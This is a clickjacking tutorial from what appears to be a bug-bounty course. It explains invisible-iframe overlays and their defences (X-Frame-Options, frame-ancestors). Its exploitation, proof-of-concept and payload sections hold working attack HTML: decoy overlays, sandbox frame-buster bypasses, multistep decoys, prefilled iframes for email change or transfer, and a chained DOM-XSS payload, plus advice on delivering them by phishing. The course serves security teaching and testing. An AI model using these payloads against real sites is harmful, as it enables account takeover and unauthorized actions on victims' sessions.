Client-SideEasyClient-Side

Clickjacking

A complete guide to understanding, detecting, exploiting, and preventing Clickjacking vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Clickjacking (UI Redressing)

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

SECTION 1. Introduction

Imagine you open your PC and visit `anastech.com`.

You log in. You navigate to `/my-account`. You see your profile. At the bottom of the page sits a big red button:

text
+---------------------------+
|     DELETE ACCOUNT        |
+---------------------------+

This button, when clicked, sends:

http
POST /api/account/delete HTTP/1.1
Host: anastech.com
Cookie: session=abc123
Content-Type: application/x-www-form-urlencoded

confirm=yes

The server checks your session cookie. You are logged in. It checks the CSRF token in the form. The token is valid (it was generated by the same page). It deletes your account.

Normal. Expected. The user clicked their own button on their own browser tab.

Now look at the same picture again, but with a question on top of it: what if a different page, on a different domain, loaded `https://anastech.com/my-account` inside an invisible frame, and placed a visible button on top labeled "Click here for a free phone", positioned exactly where the real Delete Account button sits?

Browsers stack web pages in layers using a CSS property called `z-index`. The element with the higher `z-index` sits on top. When a user clicks, the browser sends the click to whichever element is at that pixel on top.

If the attacker's page sets:

  • The decoy button: `z-index: 1`, visible, labeled "Free Phone".
  • The hidden frame of anastech.com: `z-index: 2`, opacity `0.0001` (effectively invisible), positioned so the real Delete Account button sits at the exact same pixel coordinates as the decoy.

The user sees the decoy. The user clicks. The browser registers the click on the frame (which is on top). The frame is the real anastech.com page. The real Delete Account button receives the click. The user is logged in. The cookie is sent. The CSRF token is present in the framed form. The account is deleted.

The attacker did not break SQL, did not steal a session, did not bypass CSRF, did not break HTTPS, and did not phish a password. The attacker convinced a finger to land on a different button than the eye believed.

This is Clickjacking, also called UI redressing. It has been quietly draining accounts, hijacking OAuth approvals, stealing crypto, and deleting data for over fifteen years. It still works in 2026 against any page that omits one HTTP header.

This course teaches the Clickjacking bug class from zero. By the end you will know:

  • Why browsers let cross-origin pages frame your site by default.
  • Why CSRF tokens and SameSite cookies do not stop this attack.
  • How to overlay an invisible iframe and align it with a real button.
  • The five common variants: classic, prefilled-form, frame-buster-bypass, multistep, and clickjacking-to-XSS.
  • How to detect, exploit, and prevent each variant with one HTTP header.

You do not need to be an expert in CSS. You need to understand that a click goes to the topmost element, and you control which element is on top.

SECTION 2. How It Works

To find these bugs you first need to understand how browsers render and route clicks.

Step 1. The browser layering engine

When an HTML document contains overlapping positioned elements, the browser computes a stacking order using the `z-index` CSS property. Higher values sit on top. The top element receives mouse events first.

text
+----------------------------+   <- top of stack (z-index high)
|  Element A                 |
+-------+--------------------+
|       |
+---v---+
|  Element B                 |   <- bottom of stack (z-index low)
+----------------------------+

If a user clicks at coordinates `(x, y)`, the browser performs a "hit test" and delivers the click to whichever element is on top at that pixel.

Step 2. The iframe

An `<iframe>` tag embeds one HTML document inside another. The framed document loads with its own session, its own cookies, its own JavaScript. From the parent's perspective the iframe is a single visual element it can position, size, and style with CSS, but it cannot read the framed content because of the browser's Same-Origin Policy.

html
<iframe src="https://anastech.com/my-account"
        width="1000" height="700">
</iframe>

If the user is logged in to anastech.com, that page loads inside the iframe with the user's cookies attached. The framed page is fully functional: clicks inside the iframe are real clicks on the real anastech.com page.

Step 3. Opacity

CSS `opacity` controls how transparent an element is. `opacity: 1` is fully opaque. `opacity: 0` is fully transparent. Critically, even at `opacity: 0`, clicks still register on the element. Only the visual is hidden.

This is the entire attack primitive: an invisible iframe that still receives clicks.

Step 4. The safe flow

text
+-------------------------+
|  Browser visits         |
|  attacker.com           |
+-----------+-------------+
            |
            v
+-------------------------+
|  attacker.com is just a |
|  page. anastech.com is  |
|  NOT loaded.            |
+-------------------------+

There is no risk because anastech.com is not framed and not interacting with the user.

Step 5. The vulnerable flow

text
+-------------------------+
|  Browser visits         |
|  attacker.com           |
+-----------+-------------+
            |
            v
+-----------+-------------+
|  attacker.com loads     |
|  <iframe src=anastech>  |   <-- iframe with anastech.com inside
|  opacity: 0.0001        |       (user's cookies attach automatically)
|  z-index: 2             |
|                         |
|  <button> "Free phone"  |   <-- visible decoy
|  z-index: 1             |       positioned at same pixel as
|  position: absolute     |       real anastech Delete button
+-----------+-------------+
            |
            v
        User clicks "Free phone"
            |
            v
+-------------------------+
|  Click hits the iframe  |
|  (highest z-index at    |
|  that pixel).           |
|  Real anastech.com      |
|  Delete button executes |
+-------------------------+

Step 6. Three conditions for the bug to exist

  • 1. The target page does not set `X-Frame-Options` or `Content-Security-Policy: frame-ancestors` to forbid framing.
  • 2. The user is authenticated to the target site (a session cookie exists in the browser).
  • 3. The target has a state-changing action reachable in one or two clicks.

All three are common. The first is the one the developer controls.

Step 7. Why CSRF tokens do not help

A CSRF token defends against requests forged by the attacker. In Clickjacking, the request is generated by the framed legitimate page. The token is generated by anastech.com inside the iframe, included automatically in the form, and submitted as part of the real click. The attacker never sees it and never needs it.

Step 8. Why SameSite cookies do not always help

`SameSite=Lax` and `SameSite=Strict` cookies are sent on first-party interactions. When the user is inside the framed anastech.com page, that page IS first-party relative to itself. The cookie is sent. SameSite blocks cross-site request forgery patterns, not Clickjacking.

`SameSite=Strict` does block cookies on iframes loaded from a different top-level site in modern browsers, which is why Strict provides incidental protection in some browser versions. But the canonical defense is frame-ancestors.

SECTION 3. Attack Flow

The walkthrough below shows a complete Clickjacking attack on a state-changing endpoint.

Step 1: Recon

Identify the target page that performs a sensitive action. Common candidates: delete account, change email, change password, disable 2FA, approve OAuth, transfer money, ban user (admin), delete content (admin).

Step 2: Frame test

Create a minimal HTML file:

html
<iframe src="https://target.anastech.com/my-account" width="1000" height="700"></iframe>

Open it in a browser while logged in. If the page renders inside the iframe, framing is allowed and the target is potentially vulnerable.

Step 3: Inspect headers

Use browser DevTools (Network tab) to view the response headers for the target page. The presence of any of the following blocks framing:

  • `X-Frame-Options: DENY`
  • `X-Frame-Options: SAMEORIGIN`
  • `Content-Security-Policy: frame-ancestors 'none'`
  • `Content-Security-Policy: frame-ancestors 'self'`

If none are present, the target is framable.

Step 4: Measure the target button

Open the target page in DevTools. Right-click the sensitive button. Inspect. Read the bounding box coordinates: e.g., top: 515px, left: 70px on a 1000px-wide viewport.

Step 5: Build the proof of concept

Create an HTML file that loads the iframe with high `z-index` and low opacity, and a decoy button at low `z-index` positioned at the measured coordinates.

Step 6: Test with opacity 0.5

Set the iframe opacity to 0.5 first. Visually confirm the decoy aligns with the real button. Adjust coordinates until alignment is exact.

Step 7: Deploy with opacity 0.0001

Drop opacity to `0.0001`. The iframe is invisible but still receives clicks.

Step 8: Deliver

Host the page on attacker infrastructure. Deliver to the victim via phishing, social media link, malvertising, or any social engineering channel.

Step 9: Capture impact

When the victim clicks the decoy, the real action fires. Document with screenshots, network captures, and the resulting state change.

ASCII timing diagram

text
TIME    VICTIM BROWSER                          TARGET SERVER
-----   --------------------------------         ---------------------
T0      Logged in to target.anastech.com    --->
T0+1                                              200 OK -- session=abc
T1      Visits attacker.com                 --->
T1+1    attacker.com loads + iframe              200 OK -- attacker.com
        of target.anastech.com loaded       --->
T1+2                                              200 OK -- /my-account
        (cookie attached automatically)           rendered inside frame
T2      User sees: "Click for free phone"
T2+1    User clicks the decoy
T2+2    Browser hit-tests: iframe is on top
        Click delivered to Delete button   --->
T2+3                                              POST /api/account/delete
                                                  Account deleted

SECTION 4. Why Developers Make This Mistake

Clickjacking is not a code bug. It is a defaults bug.

Mistake 1: "My CSRF tokens protect me"

CSRF tokens defend against forged requests built by the attacker. Clickjacking uses the user's own click on the user's own browser inside the user's own session. The token is valid because the framed page generated it.

Mistake 2: "Nobody would put my site in an iframe"

Anyone with one HTML file and a hosting account can. Framing is a default-permitted browser behavior unless the page explicitly says otherwise.

Mistake 3: "SameSite cookies stop this"

SameSite cookies stop classic CSRF (forged requests in the background). They do not stop a click delivered to a framed page. In most browser versions, `SameSite=Lax` cookies are still sent inside an iframe.

Mistake 4: "Users will notice an invisible iframe"

By definition the iframe is invisible. The user sees only the decoy. There is no visual cue.

Mistake 5: "X-Frame-Options is legacy; I do not need it"

`X-Frame-Options` is legacy in name only. Modern browsers still honor it, and the modern replacement (`Content-Security-Policy: frame-ancestors`) is supported by every browser shipped in the last six years. One of the two should be present on every sensitive page.

Mistake 6: "JavaScript frame busters protect me"

A JavaScript snippet like `if (top != self) top.location = self.location;` is bypassable by `<iframe sandbox="allow-forms">` (scripts cannot execute), by `onbeforeunload` interception, and by several other documented tricks. HTTP headers cannot be bypassed by client-side CSS or sandbox tricks.

SECTION 5. Beginner Summary

  • Clickjacking overlays the target site inside an invisible iframe on top of a visible decoy button on the attacker's page. The victim's click hits the iframe.
  • The target page is loaded inside the victim's authenticated session, so any action the victim could perform legitimately can be triggered by the misdirected click.
  • CSRF tokens, SameSite cookies, and most server-side defenses do not help because the request is generated by the legitimate page.
  • The fix is one HTTP response header: `X-Frame-Options: DENY` or `Content-Security-Policy: frame-ancestors 'none'`. Set both for defense in depth.
  • Detection is one HTML file: load the target inside an iframe; if it renders, the target is framable and the bug exists.

SECTION 6. Visual Explanation

The layering (what the user sees vs what the browser routes to)

text
WHAT THE USER SEES                  WHERE THE CLICK GOES
------------------                  --------------------

  +-----------------+                  +---------------------------+
  |                 |                  | invisible iframe          |
  |                 |                  |   target.anastech.com     |
  |  Click here     |                  |   /my-account             |
  |  for a free     |                  |                           |
  |  iPhone!        |                  |   real Delete button at   |
  |                 |                  |   the same pixel          |
  +-----------------+                  +---------------------------+

  decoy button                          iframe (z-index: 2,
  (z-index: 1)                          opacity: 0.0001)

Five families of Clickjacking

text
                 +---------------------+
                 |   CLICKJACKING      |
                 +----------+----------+
                            |
   +----------------+-------+-------+-----------------+----------------+
   |                |               |                 |                |
   v                v               v                 v                v
 +-------+    +-----------+   +----------+    +----------------+   +--------+
 |Classic|    | Prefilled |   | Frame-   |    | Multistep      |   | XSS    |
 |       |    | form      |   | buster   |    | (2+ clicks)    |   | trigger|
 +-------+    +-----------+   | bypass   |    +----------------+   +--------+
 | One   |    | URL params|   +----------+    | sequential     |   | URL    |
 | click |    | preset    |   | sandbox  |    | decoys over    |   | params |
 | hits  |    | form data |   | attribute|    | confirm modals |   | inject |
 | real  |    | in iframe |   | disables |    |                |   | DOM XSS|
 | button|    | src       |   | scripts  |    |                |   |        |
 +-------+    +-----------+   +----------+    +----------------+   +--------+

The defense stack

text
  Layer 1: Content-Security-Policy: frame-ancestors 'none'    (modern)
  Layer 2: X-Frame-Options: DENY                              (legacy)
  Layer 3: SameSite=Strict on session cookies                 (partial defense)
  Layer 4: Require re-authentication for sensitive actions    (raises the bar)
  Layer 5: Monitor framing attempts via CSP report-uri        (telemetry)

The attacker's CSS skeleton

css
iframe {
  position: relative;
  width: 1000px;
  height: 700px;
  opacity: 0.0001;       /* invisible but still clickable */
  z-index: 2;
}
div.decoy {
  position: absolute;
  top: 515px;            /* match real button Y */
  left: 70px;            /* match real button X */
  z-index: 1;            /* sits below the iframe */
}

SECTION 7. Definition

Technical definition

Clickjacking, also known as UI redressing or User Interface redress attack, is a vulnerability in which an attacker tricks a user into clicking a UI element of a target application that has been overlaid invisibly above a decoy on an attacker-controlled page. The browser delivers the click to the framed target, executing actions in the user's authenticated context without the user's awareness.

  • CWE-1021: Improper Restriction of Rendered UI Layers or Frames
  • OWASP A05:2021 Security Misconfiguration (missing frame-protection headers)

Beginner-friendly definition

Clickjacking is when an invisible copy of a real website sits on top of a fake button. The user sees the fake button, clicks it, and the click actually lands on the real button.

Why it matters

Clickjacking remains a live class of bug in 2026. Recent confirmation:

  • Coinbase OAuth authorization page Clickjacking: HackerOne report https://hackerone.com/reports/65825, paid $5,000.
  • WakaTime double-Clickjacking on the OAuth authorization flow (`https://wakatime.com/oauth/authorize`), 55 upvotes on HackerOne corpus.
  • TikTok developer app deletion via Clickjacking, paid $500 (corpus reference).
  • Shopify exchangemarketplace.com Clickjacking, disclosed report.
  • Sifchain Clickjacking: https://hackerone.com/reports/1199904.
  • Imgur self-XSS-to-account-takeover chained with Clickjacking in Firefox (corpus).
  • Yelp business-page Clickjacking on multiple subdomains (corpus).
  • Mail.ru "Make user buy items via Clickjacking" (corpus).

Even after fifteen years of documentation, sensitive pages still ship without `frame-ancestors`.

Common affected systems

  • OAuth and SSO consent screens (high-value because of persistent third-party access)
  • Account settings: change email, change password, disable 2FA
  • Admin panels with destructive one-click actions (delete user, ban, refund)
  • Cryptocurrency exchange withdrawal and 2FA pages
  • Banking transfer confirmation pages
  • Social media like, follow, share, send buttons
  • API key management dashboards
  • Subscription cancellation pages
  • Healthcare consent pages and medical record release flows

If a page has a sensitive action one to two clicks away and no frame-ancestors policy, Clickjacking can hijack it.

SECTION 8. Examples

Each example uses the same template: the feature, the bug, the attack step by step.

Example 1. AnasMarket account deletion

The feature. AnasMarket's `/my-account` page has a "Delete Account" button that submits a POST with a CSRF token (generated on the page).

The bug. The page response does not include `X-Frame-Options` or `Content-Security-Policy: frame-ancestors`.

The attack step by step.

  • Step 1: confirm framing works by loading the page inside an iframe in a local HTML file.
  • Step 2: measure the Delete button position via DevTools.
  • Step 3: build an attacker page with the iframe (z-index: 2, opacity: 0.0001) and a decoy "Click for prize" button at the measured coordinates (z-index: 1).
  • Step 4: deliver the link.
  • Step 5: the victim clicks; account is deleted.

Example 2. AnasOne email change via URL prefill

The feature. AnasOne supports `/account/update-email?email=<value>` as a URL parameter that prefills the email field on the update form.

The bug. No frame-ancestors, plus the URL parameter prefills sensitive data. The combination converts a meaningless click into an account-takeover trigger.

The attack step by step.

Example 3. AnasDocs frame-buster bypass

The feature. AnasDocs has a JavaScript frame buster on its admin pages:

javascript
if (top !== self) top.location = self.location;

The bug. The page lacks frame-ancestors, relying entirely on the JS buster.

The attack step by step.

  • Step 1: load the iframe with `sandbox="allow-forms"`. The sandbox attribute disables scripts; the buster cannot run.
  • Step 2: the iframe stays loaded.
  • Step 3: align a decoy over a sensitive button.
  • Step 4: victim clicks; action executes.

Sandbox bypass is the canonical PortSwigger lab 3 pattern.

Example 4. AnasSocial Clickjacking-to-DOM-XSS chain

The feature. AnasSocial has a `/feedback?name=...&email=...&message=...` endpoint that reads URL parameters via JavaScript and writes them into the DOM unsafely (a DOM-XSS that requires the user to visit the URL).

The bug. The form is also framable with no frame-ancestors. Standalone DOM-XSS requires the user to visit a malicious URL; with Clickjacking the user "submits" the form themselves by clicking the framed Submit button.

The attack step by step.

  • Step 1: frame `/feedback?name=<img src=1 onerror=alert(document.cookie)>&...#feedbackResult`.
  • Step 2: align decoy over the framed Submit button.
  • Step 3: victim clicks; the form submits; the DOM payload renders; the XSS executes inside anassocial.com session context.

Example 5. AnasCorp multistep admin deletion

The feature. AnasCorp's admin "Delete Car" flow requires two clicks: one on the Delete button and one on the Confirm button in a modal that appears.

The bug. No frame-ancestors; both buttons in fixed positions.

The attack step by step.

  • Step 1: build an attacker page with two sequential decoys ("Click 1 of 2 for prize" and "Click 2 of 2 for prize").
  • Step 2: position decoy 1 over the Delete button and decoy 2 over the Confirm button.
  • Step 3: victim clicks both in sequence; car is deleted.

PortSwigger lab 5 follows this exact pattern.

SECTION 9. Vulnerable Code

Configuration failure: response with no frame headers

http
HTTP/2 200 OK
Content-Type: text/html
Date: Sun, 21 Jun 2026 09:00:00 GMT
Server: nginx/1.24

(no X-Frame-Options, no Content-Security-Policy)

The vulnerability is the absence of headers, not the presence of malicious code.

PHP

php
<?php
session_start();
// MISSING: header('X-Frame-Options: DENY');
// MISSING: header("Content-Security-Policy: frame-ancestors 'none'");
?>
<!DOCTYPE html>
<html>
<body>
  <form method="POST" action="/delete-account">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf'] ?>">
    <button type="submit">Delete Account</button>
  </form>
</body>
</html>

The CSRF token is present but does not block Clickjacking. The page is framable.

Node.js (Express)

javascript
const express = require('express');
const app = express();

// MISSING: app.use(helmet.frameguard({ action: 'deny' }));

app.post('/api/account/delete', requireAuth, (req, res) => {
  deleteUser(req.user.id);
  res.json({ deleted: true });
});

Without `helmet` (or equivalent), Express ships no frame-protection headers.

Python (Flask)

python
from flask import Flask, render_template
from flask_login import login_required

app = Flask(__name__)

@app.route('/my-account')
@login_required
def my_account():
    # MISSING: response.headers['X-Frame-Options'] = 'DENY'
    return render_template('account.html')

Python (Django)

python
# Django 2.0+ adds X-Frame-Options: SAMEORIGIN by default via middleware.
# This view RE-OPENS the bug by overriding:

from django.views.decorators.clickjacking import xframe_options_exempt

@xframe_options_exempt   # BAD
def my_account(request):
    return render(request, 'account.html')

`xframe_options_exempt` is intended for embeddable widgets only; using it on a sensitive page is the modern shape of the bug.

Java (Spring Security)

java
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.headers()
            .frameOptions().disable()    // BAD: explicitly disabled
            .and()
            .authorizeRequests()
            .anyRequest().authenticated();
    }
}

Sometimes disabled to support a legitimate iframe widget, then left disabled application-wide.

.NET (ASP.NET)

csharp
// web.config without frame headers:
<system.webServer>
  <httpProtocol>
    <customHeaders>
      <!-- MISSING: <add name="X-Frame-Options" value="DENY" /> -->
      <!-- MISSING: <add name="Content-Security-Policy" value="frame-ancestors 'none'" /> -->
    </customHeaders>
  </httpProtocol>
</system.webServer>

Weak defense: JavaScript frame buster only

html
<script>
  if (top !== self) {
    top.location = self.location;
  }
</script>

Bypasses:

  • `<iframe sandbox="allow-forms">` ==> scripts cannot run; buster never fires
  • `<iframe sandbox="allow-scripts">` ==> scripts run but `top.location` write is blocked
  • Parent `onbeforeunload` handler ==> intercepts navigation
  • Double framing (frame inside frame inside frame) ==> some implementations only check direct parent
  • Slow loading: the buster races with the click

Frame busters belong as a third layer, never as the only defense.

The universal pattern across languages

  • 1. The application returns HTML that needs to be protected from being embedded.
  • 2. The response does not contain `X-Frame-Options` or `Content-Security-Policy: frame-ancestors`.
  • 3. Sometimes a JS frame buster is present but bypassable.
  • 4. Any cross-origin page can frame the response.

Step 2 is the bug. Every fix sets one of those two headers.

EOFSECTION_NEVER_USED

SECTION 10. Detection

Clickjacking detection has two phases. Phase one confirms the page can be framed. Phase two confirms a meaningful action can be hijacked.

Manual workflow

  • Step 1: log in to the target site.
  • Step 2: open DevTools, Network tab, reload the sensitive page.
  • Step 3: inspect the response headers of the main HTML response. Look for `X-Frame-Options` and `Content-Security-Policy` with `frame-ancestors`. If both are absent or both are permissive, framing is allowed.
  • Step 4: create a minimal HTML file with `<iframe src="TARGET_URL"></iframe>` and open it locally. If the page renders, framing works.
  • Step 5: identify the sensitive button or link. Common targets: delete account, change email/password, disable 2FA, transfer money, approve OAuth, admin destructive actions.
  • Step 6: measure pixel coordinates using DevTools (right-click target button, Inspect, read bounding box).
  • Step 7: build the PoC with iframe `z-index: 2` and `opacity: 0.0001`, decoy at `z-index: 1` positioned at the measured coordinates.
  • Step 8: test with `opacity: 0.5` first to verify alignment, then drop to `0.0001`.

Burp Suite

  • Right-click any request in Proxy/Repeater and select "Engagement tools" -> "Generate CSRF PoC" (works for Clickjacking too in many Burp versions; otherwise use Clickbandit).
  • Use the Burp Clickbandit extension for interactive PoC generation.
  • Active Scan flags missing `X-Frame-Options` and weak `frame-ancestors` automatically.

Automated tools and URLs

Quick command-line probe

bash
curl -sI https://target.anastech.com/my-account | grep -Ei 'x-frame-options|content-security-policy'

If the output is empty, the page has no frame protection.

Indicators of vulnerability

  • Response missing both `X-Frame-Options` and `Content-Security-Policy: frame-ancestors`.
  • JS frame buster as the only defense.
  • Sensitive state-changing action reachable in one click from a page that lacks headers.
  • URL parameters that prefill form fields, converting a meaningless click into a meaningful state change.
  • Confirmation modals with predictable, fixed positions.
  • OAuth consent screens without frame headers (high-value target).
  • Admin panels not behind a dedicated security-headers middleware.

SECTION 11. Exploitation

Exploitation goes from a one-liner PoC to multistep chains with prefilled state and XSS triggers.

Workflow

  • 1. Confirm framing works.
  • 2. Identify a sensitive button at known coordinates.
  • 3. Build the iframe + decoy PoC.
  • 4. Verify alignment at opacity 0.5.
  • 5. Set opacity 0.0001 and host the PoC.
  • 6. Deliver via phishing or social engineering.
  • 7. Capture impact (account deleted, email changed, 2FA disabled).

Techniques

1. Classic iframe overlay

html
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  div    { position: absolute; top: 515px; left: 70px; z-index: 1; }
</style>
<div><button>Click here for a free phone</button></div>
<iframe src="https://target.anastech.com/my-account"></iframe>

2. Iframe with prefilled URL parameters

When the target accepts URL parameters that prefill form fields:

html
<iframe src="https://target.anastech.com/account/update-email?email=attacker@evil.com"></iframe>

The iframe loads with the attacker-controlled value already in the form. The framed Save button accepts it as if the user typed it.

3. Sandbox attribute to defeat JS frame busters

html
<iframe sandbox="allow-forms" src="https://target.anastech.com/my-account"></iframe>

`allow-forms` permits form submissions but blocks scripts entirely. The frame buster (a script) cannot run. The iframe stays loaded.

Alternative:

html
<iframe sandbox="allow-scripts" src="https://target.anastech.com/my-account"></iframe>

Scripts run but `top.location` writes require `allow-top-navigation`, which is not in the sandbox list, so the buster's navigation is blocked.

4. Multistep (multistage) Clickjacking

Two or more decoys positioned over consecutive buttons in a workflow (e.g., Delete -> Confirm):

html
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  .step1 { position: absolute; top: 350px; left: 70px; z-index: 1; }
  .step2 { position: absolute; top: 460px; left: 250px; z-index: 1; }
</style>
<div class="step1">Click 1 of 2 for prize</div>
<div class="step2">Click 2 of 2 for prize</div>
<iframe src="https://target.anastech.com/admin/cars"></iframe>

5. Clickjacking-to-DOM-XSS

html
<style>
  iframe { width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; position: relative; }
  div { position: absolute; top: 615px; left: 80px; z-index: 1; }
</style>
<div>Click me</div>
<iframe src="https://target.anastech.com/feedback?name=<img src=1 onerror=alert(document.cookie)>&email=a@a.a&subject=hi&message=hi#feedbackResult"></iframe>

The framed page reads the URL parameter `name` into the DOM unsafely. The victim's click submits the form, the page reloads, and the payload executes inside target context.

6. Drag-and-drop hijacking

Some attacks use CSS to misdirect drags. The user drags a slider thinking they are positioning a UI control, but the framed page captures the drag and applies it to a different element. Historical example: Adobe Flash settings page where users dragged a permission slider to "Allow" without realizing.

7. Cursor spoofing

html
<style>
  body { cursor: url('fake-cursor.svg') 0 0, default; }
</style>

A custom cursor with an offset displaces the visible pointer from the actual click pixel. The user aims at the visible cursor; the click lands where the real pointer (offset) actually is.

8. Keystroke hijacking

Focus an invisible input from the framed page via JavaScript; prompt the user to type something on the decoy. The keystrokes land in the iframe's form. Combined with auto-submit, the form fires when filled.

9. File-input hijacking

When the target has a file picker, align the decoy "Choose theme" over the framed file input. The user clicks; the framed file picker opens. Limited but real impact in specific flows.

10. Window-position attack

javascript
window.resizeTo(800, 500);

Resize the attacker window to expose only the click area of the iframe. The visible portion is the decoy. The rest is offscreen.

11. Pop-under variant

Open the target in a popup window positioned partially behind the visible attacker page. CSS and timing misdirect clicks to the partially-hidden popup. Modern popup blockers limit this; still surfaces occasionally.

12. OAuth consent Clickjacking

OAuth authorization screens are high-value targets: a single click can grant a third-party application persistent access to the victim's account. The Coinbase finding at https://hackerone.com/reports/65825 paid $5,000 for exactly this pattern.

13. Double-Clickjacking on OAuth

The WakaTime OAuth flow disclosure on HackerOne is the canonical example. The user clicks one decoy; the OAuth screen advances; the user clicks the second decoy; the OAuth grant is approved.

14. Reflected-content Clickjacking

If the framed page reflects a URL parameter into a button label, an attacker can frame `target/search?q=Confirm+delete` so the visible iframe (when partially opaque for the attack) reads naturally and even sophisticated users may not notice.

15. Iframe of iframe (nested framing)

Some bypasses chain: attacker page frames a permissive third-party site that itself frames the target. Useful when the target uses `X-Frame-Options: SAMEORIGIN` and the third-party page is on the same origin.

16. SVG/HTML data URI decoy

html
<iframe src="data:text/html;base64,...."></iframe>

Used to inline-load attacker HTML in environments that block external resources. Niche.

17. Mobile webview Clickjacking

In hybrid mobile apps with embedded webviews, the underlying app sometimes ships without frame-protection headers. The attacker presents a fake banner overlay inside the same webview; the user taps; the framed action fires.

18. SSO/SAML Clickjacking

SSO pages without `frame-ancestors` can be framed; users tricked into authorizing a SAML assertion grant the attacker federated access.

19. Combined with phishing

The decoy is part of a phishing page that looks like a legitimate brand. The victim trusts the page; the click fires the framed action with the victim's existing session on the real target.

20. Like-jacking and share-jacking

The original mass attacks: decoy looks like a video or game; the framed Like button on a social platform receives the click; the victim's feed shows a like that they did not perform.

SECTION 12. Proof of Concept

Burp Suite

  • 1. Capture the response of the sensitive page.
  • 2. Confirm absence of frame-protection headers.
  • 3. Right-click and select "Generate Clickjacking PoC" (Burp Pro) or use Clickbandit BApp.
  • 4. Burp generates an HTML file with iframe + decoy.
  • 5. Adjust coordinates; test at opacity 0.5; finalize at opacity 0.0001.

PortSwigger Clickbandit

  • 1. Visit https://portswigger.net/clickbandit.
  • 2. Drag the bookmarklet to your bookmarks bar (or paste in DevTools console).
  • 3. Navigate to the target while logged in.
  • 4. Activate Clickbandit; click through the action you want to hijack.
  • 5. Clickbandit records and generates a working PoC HTML.

Canonical PoC (PortSwigger lab style)

html
<html>
<head>
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  div    { position: absolute; top: 515px; left: 70px; z-index: 1; }
</style>
</head>
<body>
  <div id="decoy"><button>Click Me</button></div>
  <iframe src="https://target.anastech.com/my-account"></iframe>
</body>
</html>

Frame-buster bypass via sandbox

html
<html>
<head>
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.1; z-index: 2; }
  div    { position: absolute; top: 470px; left: 70px; z-index: 1; }
</style>
</head>
<body>
  <div id="decoy"><button>Click Me</button></div>
  <iframe sandbox="allow-forms" src="https://target.anastech.com/my-account?email=attacker@evil.com"></iframe>
</body>
</html>

Clickjacking-to-DOM-XSS PoC

html
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  div { position: absolute; top: 615px; left: 80px; z-index: 1; }
</style>
<div>Click here</div>
<iframe src="https://target.anastech.com/feedback?name=<img src=1 onerror=print()>&email=x@x.x&subject=t&message=t#feedbackResult"></iframe>

Multistep PoC

html
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  .step1, .step2 {
    position: absolute; z-index: 1;
    background: linear-gradient(45deg, #11998e, #38ef7d);
    color: white; padding: 18px 36px; font-weight: bold; border-radius: 50px;
  }
  .step1 { top: 350px; left: 70px; }
  .step2 { top: 460px; left: 250px; }
</style>
<div class="step1">Click 1 of 2 to claim prize</div>
<div class="step2">Click 2 of 2 to confirm</div>
<iframe src="https://target.anastech.com/my-account"></iframe>

Production-quality decoy

html
<!DOCTYPE html>
<html>
<head>
<style>
  body { font-family: 'Segoe UI', sans-serif; background: #f4f4f9;
         display: flex; justify-content: center; align-items: center; height: 100vh; }
  .container { position: relative; width: 1500px; height: 700px;
               background: white; box-shadow: 0 10px 20px rgba(0,0,0,0.19); }
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%;
           opacity: 0.0001; z-index: 2; border: none; }
  .decoy { position: absolute; top: 580px; left: 130px; z-index: 1;
           padding: 20px 40px; font-size: 24px; font-weight: bold; color: white;
           background: linear-gradient(45deg, #11998e, #38ef7d);
           border-radius: 50px; cursor: pointer; }
  .decoy:hover { transform: translateY(-3px); }
</style>
</head>
<body>
  <div class="container">
    <button class="decoy">CLAIM YOUR FREE iPhone NOW!</button>
    <iframe src="https://target.anastech.com/admin/delete?id=42"></iframe>
  </div>
</body>
</html>

Python header scanner PoC

python
import requests

TARGETS = [
    "https://target.anastech.com/my-account",
    "https://target.anastech.com/admin/dashboard",
    "https://target.anastech.com/oauth/authorize",
    "https://target.anastech.com/settings/2fa",
]
for url in TARGETS:
    r = requests.get(url, verify=False, timeout=10)
    xfo = r.headers.get("X-Frame-Options", "MISSING")
    csp = r.headers.get("Content-Security-Policy", "")
    has_frame_anc = "frame-ancestors" in csp.lower()
    if xfo == "MISSING" and not has_frame_anc:
        print(f"[CLICKJACKABLE] {url}")
    else:
        print(f"[OK]            {url}  XFO={xfo}  CSP-fa={has_frame_anc}")

Bash one-liner

bash
curl -sI "$URL" | grep -Ei 'x-frame|content-security-policy' || echo "MISSING -- framable"

SECTION 13. Payloads

Clickjacking "payloads" are HTML/CSS positioning skeletons plus iframe attributes.

Tier 1: minimal proof

html
<iframe src="TARGET" width="1000" height="700"></iframe>

If it renders, framing is possible.

Tier 2: classic overlay

html
<style>
  iframe { position: relative; width: 1000px; height: 700px; opacity: 0.0001; z-index: 2; }
  div    { position: absolute; z-index: 1; top: 500px; left: 100px; }
</style>
<div><button>Click Me</button></div>
<iframe src="TARGET"></iframe>

Tier 3: URL-prefilled exploitation

html
<iframe src="https://target/update-email?email=attacker@evil.com"></iframe>
<iframe src="https://target/settings?2fa=disabled"></iframe>
<iframe src="https://target/transfer?to=attacker&amount=10000"></iframe>

Tier 4: sandbox bypass

html
<iframe sandbox="allow-forms" src="TARGET"></iframe>
<iframe sandbox="allow-scripts" src="TARGET"></iframe>
<iframe sandbox="allow-forms allow-same-origin" src="TARGET"></iframe>

Tier 5: multistep

html
<div class="s1" style="position:absolute;top:200px;left:50px;z-index:1">Step 1</div>
<div class="s2" style="position:absolute;top:300px;left:200px;z-index:1">Step 2</div>
<div class="s3" style="position:absolute;top:400px;left:350px;z-index:1">Step 3</div>
<iframe style="opacity:0.0001;z-index:2" src="TARGET"></iframe>

Tier 6: chained DOM-XSS

html
<iframe src="https://target/feedback?name=<img src=1 onerror=alert(document.domain)>&...#submitArea"></iframe>

Tier 7: cursor spoof

html
<style>
  body { cursor: url('data:image/svg+xml;base64,<base64>'), default; }
</style>

